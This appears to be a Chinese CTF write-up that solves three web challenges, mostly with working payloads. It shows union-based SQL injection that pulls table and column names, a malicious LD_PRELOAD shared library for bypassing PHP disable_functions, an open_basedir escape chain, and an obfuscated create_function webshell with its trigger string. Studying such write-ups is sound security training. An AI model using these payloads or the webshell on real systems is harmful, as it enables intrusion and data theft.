fake教务处

这题的登陆注册功能似乎误导了很多同学。。我的锅,开学可以来暴打我

主要考点

具体做法

  • 随便注册个账号登陆进去,?time=1'得到报错,发现注入点
  • 禁掉了一些报错函数,考虑使用union注入(其实禁的并不全,不过这里用union来做)
  • 发现or被过滤,无法使用order by,使用group by代替。
    ?time=1 group by 6,?time=1 group by 7确定列数为6(当然也可以用?time=1 union select 1,2,3,4,5,6,7)
  • or被过滤所以无法从information_schema中获得表名等信息,但可以从sys库中得到表名
    1
    ?time=-1 union select 1,(select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),3,4,5,6
    得到表名users,grade,flag8ca6107
  • sys库中无法获得列名,但可以利用join报错获得
    1
    ?time=-1 union select 1,(select * from (select * from flag8ca6107 as a join flag8ca6107 as b) as c),3,4,5,6
    得到列名为flagcc6dfb
  • 最后拿到flag
    1
    ?time=-1 union select 1,(select flagcc6dfb from flag8ca6107),3,4,5,6

    类似题目

  • [SWPU2019]Web1

张渗透的webshell

在phpinfo()中可以看到存在disable_functions和open_basedir。

  • disable_functions
    在disable_functions范围内的函数不会被加载到PHP上下文中,因此无法使用这些函数
    1
    system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,apache_setenv,mb_send_mail,assert,dl,set_time_limit,ignore_user_abort,symlink,link,map_open,imap_mail,ini_alter
  • open_basedir
    1
    /var/www/html:/tmp
    限制了可访问的目录。

命令执行的函数可以绕过open_basedir,因为它们本质上是调用了系统中的第三方程序,不受php的限制。但是上面的disable_functions把命令执行的函数都禁了(应该没漏吧。。)

所以接下来要么绕过disable_functions执行系统命令,要么绕过open_basedir读文件

disable_functions

绕过disable_functions最常见的方法是通过LD_PRELOAD

LD_PRELOAD是linux的一个环境变量,用于指定加载的动态库。并且它指定的动态库加载优先级最高,详细参见深入浅出LD_PRELOAD & putenv()

  • 首先编译一个恶意so文件
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    void payload() {
    system("cat /flag > /tmp/flag");
    }
    int geteuid() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
    }
    然后编译成动态链接库
    1
    2
    gcc -c -fPIC fuck.c -o fuck
    gcc --share fuck -o fuck.so
  • 获取恶意so文件内容的base64编码
    so文件中有大量不可见字符,所以用base64编码一下
    1
    echo base64_encode(file_get_contents('fuck.so'));
  • 将恶意so写入目标服务器
    1
    2
    3
    4
    zzy=file_put_contents('/tmp/fuck.so',base64_decode('xxxx'));
    //xxxx为刚刚得到的base64串,太长了我不贴了
    zzy=var_dump(scandir('/tmp'));
    //可以看到/tmp写入了fuck.so
  • 接下来有两种方式触发LD_PRELOAD:
    • mail()
    • error_log()
      两者都会调用linux中的sendmail,从而触发LD_PRELOAD执行恶意so文件
1
putenv("LD_PRELOAD=/tmp/fuck.so");error_log("test",1,"","");echo file_get_contents("/tmp/flag");

即可拿到flag

open_basedir

1
zzy=mkdir('img');chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/flag');

详细参见bypass open_basedir的新方法

相关题目

一些和disable_functions和open_basedir相关的题目

张渗透的免杀webshell

这真的是个白送的福利题啊。。没想到居然没人做出来

主要有两个点

具体的解析写在注释里了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
error_reporting(0);

echo <<<EOT
张渗透送给大家一个免杀webshell,只要掌握正确的使用方法就能把webshell带回家哦
<br>
EOT;

$a = '%9C%8D%9A%9E%8B%9A'; //create取反后的url编码
$b = '%A0%99%8A%91%9C%8B%96%90%91'; //_function取反后的url编码
$code = (~urldecode($a)).(~urldecode($b)); //拼接起来就是create_function

$a = '%C4%82'; //;}取反后的url编码
$b = $_GET['arg']; // 需要传入想要执行的代码取反后的url编码
$c = '%D0%D5'; // /*取反后的url编码
$arg = ~urldecode($a.$b.$c); //拼接起来就是;}想要执行的代码/*
call_user_func($code,'',$arg);
//通过回调函数执行create_function,进行代码注入

highlight_file(__FILE__);

所以非常非常简单

1
2
echo urlencode(~'readfile("/flag");');
//%8D%9A%9E%9B%99%96%93%9A%D7%DD%D0%99%93%9E%98%DD%D6%C4

然后?arg=%8D%9A%9E%9B%99%96%93%9A%D7%DD%D0%99%93%9E%98%DD%D6%C4即可拿到flag